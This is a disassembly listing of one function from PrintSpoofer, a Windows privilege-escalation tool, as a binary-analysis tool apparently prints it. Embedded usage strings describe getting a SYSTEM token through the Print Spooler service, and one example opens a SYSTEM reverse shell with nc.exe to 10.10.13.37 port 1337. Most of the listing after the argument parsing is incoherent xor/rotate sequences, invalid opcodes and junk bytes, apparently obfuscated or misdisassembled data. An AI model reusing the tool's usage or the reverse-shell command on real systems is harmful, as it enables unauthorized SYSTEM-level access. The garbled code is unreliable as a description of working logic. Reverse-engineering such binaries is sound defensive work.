Function at 0x401180
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [0x406380]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp edi, 1
jle 0x401268
mov esi, dword [ebp + 0xc]
nop dword [eax + eax]
mov ecx, dword [esi + 4]
add esi, 4
cmp word [ecx], 0x2d
jne 0x401268
movzx eax, word [ecx + 2]
add eax, 0xffffff9d
cmp eax, 6
ja 0x40132f
jmp dword [eax*4 + 0x401364]
call fcn.004010c0
push 0x403da4
push str._nPrintSpoofer_v_ws__by__itm4n__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x18
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
cmp dword [0x406378], 0
je 0x40133a
test edx, edx
je 0x40133a
push str.____More_than_one_interaction_mode_was_specified._n
call fcn.004010c0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push ecx
push str.____Invalid_argument:__ls_n
jmp 0x401214
cmp dword [0x40637c], 0
add byte [eax], al
jne 0x401358
push str.____Please_specify_a_command_to_execute_n
call fcn.004010c0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, esi
xor eax, 0x1e4da50
xor eax, 0x12adde1a
rol eax, 4
neg eax
shl eax, 0x1b
sub esi, eax
xor eax, 0x5ba585b
mov esi, eax
mov esi, eax
and esi, edi
neg esi
rol eax, 0xc
test esi, ecx
jo 0x40130c
xor esi, 0x97e9047
call fcn.00402062
or esi, edi
inc esi
sub edi, ebp
mov eax, ebp
add esi, eax
dec eax
mov eax, eax
test eax, ecx
jo 0x4013dd
xor ebx, esp
add eax, edx
mov eax, 0x5735163
dec eax
xor esi, eax
test eax, ebp
jb 0x40133f
or eax, 0x515f3e8
mov ecx, 0x38e9ed2
sub esi, eax
and esi, edi
xor edx, eax
dec eax
mov edx, dword [0x40296e]
mov edi, esi
add esi, eax
and esi, edi
xor eax, edx
call fcn.00401bdd
mov edi, eax
xor esi, eax
dec edx
xor ebx, ebp
mov eax, 0xcbdf90
mov edx, esi
rol ebx, 0x1a
not eax
inc esi
dec eax
not esi
mov esi, dword [0x4025e6]
call fcn.004024d7
xor ebx, eax
dec eax
xor ebx, eax
neg ecx
or esi, edi
sub eax, eax
dec eax
mov esi, 0x3e21cd8
mov ecx, dword [0x401058]
mov ebx, eax
rol esi, 2
mov esi, esp
mov esi, eax
neg edx
test esi, 0x63b997
jb 0x4013db
nop
invalid
retf
xor esi, eax
mov esi, esp
and edx, 0x3617878
dec edi
mov ebx, ecx
or eax, 0x8aa5d00
xor eax, 0x1a609950
mov ecx, 0x6a122cf
add edx, dword [0x401ff0]
ror edx, 0x1b
inc eax
rol esi, 0x11
call fcn.00402380
sub ebx, dword [0x402018]
mov ebx, dword [0x401461]
call fcn.00401bdd
or edx, dword [0x402b19]
inc esi
call fcn.004024d7
shl eax, 0x18
call fcn.00402246
loop 0x40143d
sub ecx, ebp
mov edi, eax
clc
sub esi, eax
add edx, edx
xor eax, esp
mov edx, edx
xchg esi, eax
neg esi
xor eax, 0x5d0f2c4
or eax, 0x1fd3aff
mov ecx, 0x57676ec
inc esi
shr esi, 4
xor edi, dword [0x402a30]
shr eax, 7
inc eax
xchg eax, eax
xor edi, dword [0x4017e4]
rol esi, 0x15
neg edx
ror eax, 0x10
loop 0x401497
adc eax, 0xc8c1daf7
adc dl, ah
loopne 0x401479
shl esi, 0x10
out 0x10, al
rol edx, 0xa
shr eax, 0x1e
inc eax
mov edi, edi
sub edi, edx
mov eax, 0x22bd237e
rol edx, 0x1d
mov esi, eax
or esi, edi
add esi, 0x3232527f
sub esi, eax
rol ebx, 0x10
mov ebx, esp
add eax, edi
and esi, edi
mov ecx, 0x9cdaf1
test edi, esp
jo 0x4014af
call fcn.00401f10
shl eax, 8
rol esi, 0x1b
shl eax, 0x17
dec esi
inc eax
rol ebx, 0x13
neg esi
xchg eax, edx
inc ebx
shr esi, 0x13
loop 0x4014e7
xor eax, eax
add esi, ecx
mov esi, eax
xor eax, 0xa7290c2
not ebx
or esi, edi
test ebx, eax
jb 0x401503
or dh, bh
ror dword [ecx], cl
inc byte [ebp - 0x7e188d3d]
loop 0x4014e9
and edx, 0x27092ca
xchg edx, eax
jo 0x401524
call fcn.004024be
sldt word [eax]
and esi, edi
xor edx, 0x192fc784
xchg eax, eax
not edx
xchg eax, eax
not ecx
or esi, edi
shl eax, 0x1e
or esi, edi
neg eax
and edx, 0x3153889
not eax
shr esi, 0x12
sub esi, eax
sub esi, eax
sub esi, edx
dec eax
shr esi, 1
add edi, eax
sub ebx, eax
test esp, esi
jo 0x401513
call fcn.00401bdd
mov ecx, 0xe4
add esi, 0x63e8e4
dec edx
not esi
xor ebx, dword [0x402e7c]
sub esi, ebp
add edx, dword [0x402f60]
xor edx, 0x8d3050c
not ecx
xor eax, 0xbeb3bcd
xor ebx, dword [0x402f20]
xor edi, 0x394eb140
dec eax
xor ecx, dword [0x402fa7]
rol edx, 0xe
add eax, 0x4ed6458
xor esi, dword [0x402e56]
sub eax, 0x4ed6458
ror edx, 0xe
inc eax
xor edi, 0x394eb140
xor eax, 0xbeb3bcd
not ecx
xor edx, 0x8d3050c
add esi, ebp
not esi
inc edx
sub esi, 0x63e8e4
call 0x4015dc
sub ebx, dword [0x402ecc]
dec esi
xor edi, eax
sub edx, dword [0x402e12]
xor esi, 0x24eff48a
xor ecx, dword [0x402fd6]
sub edi, 0x3b61d74
xor eax, 0x54abdbf
xchg eax, edx
add edi, dword [0x402e8a]
xor edx, dword [0x402fb0]
xor edx, ecx
inc ecx
rol eax, 0xe
dec ecx
rol eax, 0x13
inc eax
xchg eax, esi
neg esi
neg esi
xchg eax, esi
dec eax
ror eax, 0x13
inc ecx
ror eax, 0xe
dec ecx
xor edx, ecx
xchg eax, edx
xor eax, 0x54abdbf
add edi, 0x3b61d74
xor esi, 0x24eff48a
xor edi, eax
inc esi
pop eax
xor ecx, dword [0x402fd1]
inc edi
xor edi, dword [0x402f7e]
add edx, ecx
inc eax
not esi
ror esi, 0x15
xor edx, ebx
xchg esi, eax
xor esi, 0x49d4050
not esi
rol esi, 5
xor esi, dword [0x402fa0]
inc eax
sub edi, dword [0x402e78]
not edi
xchg ebx, eax
xor edi, esi
xchg eax, edx
xchg eax, edx
xor edi, esi
xchg ebx, eax
not edi
dec eax
ror esi, 5
not esi
xor esi, 0x49d4050
xchg esi, eax
xor edx, ebx
rol esi, 0x15
not esi
dec eax
sub edx, ecx
dec edi
add eax, 0x43d
inc esi
neg eax
sub ecx, dword [0x402e8c]
add eax, 0x22fa4c9c
xor ebx, esp
xor ebx, esi
ror eax, 0x1b
xor edx, ecx
xor ebx, dword [0x402f90]
sub eax, 0x114409aa
xor ebx, dword [0x402f4c]
add edi, ebx
sub ebx, dword [0x402df8]
dec eax
inc eax
sub edi, ebx
add eax, 0x114409aa
xor edx, ecx
rol eax, 0x1b
xor ebx, esi
xor ebx, esp
sub eax, 0x22fa4c9c
neg eax
dec esi
xor dword [eax], 0x917f94e9
xor esi, eax
xchg edx, edx
xor edx, 0x80698de
not ecx
add edi, dword [0x402ee3]
xor ebx, dword [0x402f1a]
xchg esi, esi
sub edx, eax
neg esi
xor edi, dword [0x402df8]
not esi
dec esi
xchg eax, edx
neg eax
sub esi, dword [0x402eb8]
sub ecx, dword [0x402e94]
xchg ebx, eax
xor eax, esp
xchg eax, eax
add esi, eax
sub esi, eax
xchg eax, eax
xor eax, esp
xchg ebx, eax
neg eax
xchg eax, edx
inc esi
not esi
neg esi
add edx, eax
xchg esi, esi
not ecx
xor edx, 0x80698de
xchg edx, edx
xor esi, eax
not dword [eax]
sub ecx, dword [0x402ee2]
xor ecx, edx
xor ebx, 0x1566798
xor esi, 0x189ff48
xor esi, eax
xor ebx, edx
rol eax, 0xb
xor ebx, esp
ror esi, 5
inc eax
sub ebx, dword [0x402ee5]
not edx
rol edx, 0x14
inc esi
dec esi
ror edx, 0x14
not edx
dec eax
rol esi, 5
xor ebx, esp
ror eax, 0xb
xor ebx, edx
xor esi, eax
xor esi, 0x189ff48
xor ebx, 0x1566798
xor ecx, edx
xor dword [eax], 0x917f94e9
xor esi, eax
xchg esi, eax
sub ebx, dword [0x402f57]
sub esi, eax
rol esi, 0xa
xor esi, dword [0x402f7c]
add ebx, dword [0x402fa7]
dec edi
add ebx, dword [0x402e0c]
neg eax
xchg esi, edx
rol edx, 0x16
xor ecx, ebx
sub edx, edi
xor ecx, edi
xor ecx, edi
add edx, edi
xor ecx, ebx
ror edx, 0x16
xchg esi, edx
neg eax
inc edi
ror esi, 0xa
add esi, eax
xchg esi, eax
xor esi, eax
add dword [eax], 0x917f94e9
inc ecx
rol eax, 0x1f
xor esi, eax
xchg esi, edx
sub edx, dword [0x402f66]
add ecx, eax
inc eax
sub ecx, edx
xor ecx, dword [0x402f28]
xchg esi, eax
xor esi, dword [0x402ea0]
ror esi, 0x10
inc edx
sub ebx, dword [0x402f6c]
dec edx
rol esi, 0x10
xchg esi, eax
add ecx, edx
dec eax
sub ecx, eax
xchg esi, edx
xor esi, eax
ror eax, 0x1f
dec ecx
add dword [eax], 0x917f94e9
dec ecx
add eax, ecx
sub ecx, dword [0x402e2c]
xor ecx, esi
inc eax
xor eax, ebx
neg eax
xchg esi, edx
sub esi, dword [0x402fac]
xor edi, dword [0x402e21]
xchg esi, edx
neg eax
xor eax, ebx
dec eax
xor ecx, esi
sub eax, ecx
inc ecx
xor dword [eax], 0x917f94e9
xor eax, 0x3ccecef
sub ecx, dword [0x402e6f]
rol esi, 0xe
xor ecx, edi
sub ecx, dword [0x402eef]
xor ecx, esp
ror eax, 0x10
not eax
xor edx, esp
neg eax
neg eax
xor edx, esp
not eax
rol eax, 0x10
xor ecx, esp
xor ecx, edi
ror esi, 0xe
xor eax, 0x3ccecef
not dword [eax]
sub esi, 0x1580b2d4
xor edx, esp
xor eax, edx
xor edx, dword [0x402f84]
xor esi, eax
xor ecx, dword [0x402f02]
dec ecx
sub ecx, dword [0x402e7b]
not esi
xor ecx, edx
rol eax, 0x11
sub edx, dword [0x402fb2]
xchg edx, eax
dec esi
inc esi
xchg edx, eax
ror eax, 0x11
xor ecx, edx
not esi
inc ecx
xor esi, eax
xor eax, edx
xor edx, esp
add esi, 0x1580b2d4
add dword [eax], 0x917f94e9
add esi, eax
sub esi, dword [0x402f68]
neg esi
sub edi, edx
neg esi
ror eax, 0x12
inc edi
not esi
inc eax
xor ecx, ebx
add esi, eax
xor ecx, dword [0x402eb2]
inc esi
xor esi, dword [0x402f68]
add ecx, dword [0x402ee0]
inc ecx
xor esi, eax
inc ecx
dec ecx
xor esi, eax
dec ecx
dec esi
sub esi, eax
xor ecx, ebx
dec eax
not esi
dec edi
rol eax, 0x12
neg esi
add edi, edx
neg esi
sub esi, eax
not dword [eax]
ror esi, 0x15
xchg edx, edx
add eax, esi
xor edi, dword [0x402f48]
xchg esi, eax
ror esi, 3
add eax, 0xf7f2f52
xor edx, ecx
sub eax, ebp
xor esi, eax
sub edx, dword [0x402f68]
sub ecx, dword [0x402e7a]
xor ecx, esp
inc edx
rol esi, 0x13
xor esi, edx
not eax
sub ebx, dword [0x402eec]
rol edx, 6
sub ecx, dword [0x402f88]
ror edx, 6
not eax
xor esi, edx
ror esi, 0x13
dec edx
xor ecx, esp
xor esi, eax
add eax, ebp
xor edx, ecx
sub eax, 0xf7f2f52
rol esi, 3
xchg esi, eax
sub eax, esi
xchg edx, edx
rol esi, 0x15
add eax, 4
add ebx, 0x3817efca
inc esi
sub esi, 0xb422308
dec ecx
xor esi, eax
xchg eax, eax
xor esi, eax
add ebx, esp
inc ecx
sub esi, eax
xor edi, edx
sub ecx, dword [0x402f18]
sub ecx, dword [0x402fd2]
sub esi, eax
xor esi, dword [0x402e0b]
rol eax, 1
dec eax
xor esi, esp
xor esi, 0x609d255
xor esi, 0x609d255
xor esi, esp
inc eax
ror eax, 1
add esi, eax
xor edi, edx
add esi, eax
dec ecx
sub ebx, esp
xor esi, eax
xchg eax, eax
xor esi, eax
inc ecx
add esi, 0xb422308
dec esi
sub ebx, 0x3817efca
sub ecx, 4
jne 0x4016a7
lds eax, [eax - 0x7f]
pop ds
shr dword [ecx], 1
pop edi
xchg edi, eax
stosb byte es:[edi], al
xlatb
mov esi, 0x2eb834bb
xchg ebp, eax
push ebx
mov dword [ebp - 0x58e6143], ebp
ror byte [edx + 0x49], 0xfc
fisubr word [eax]
lodsb al, byte [esi]
ret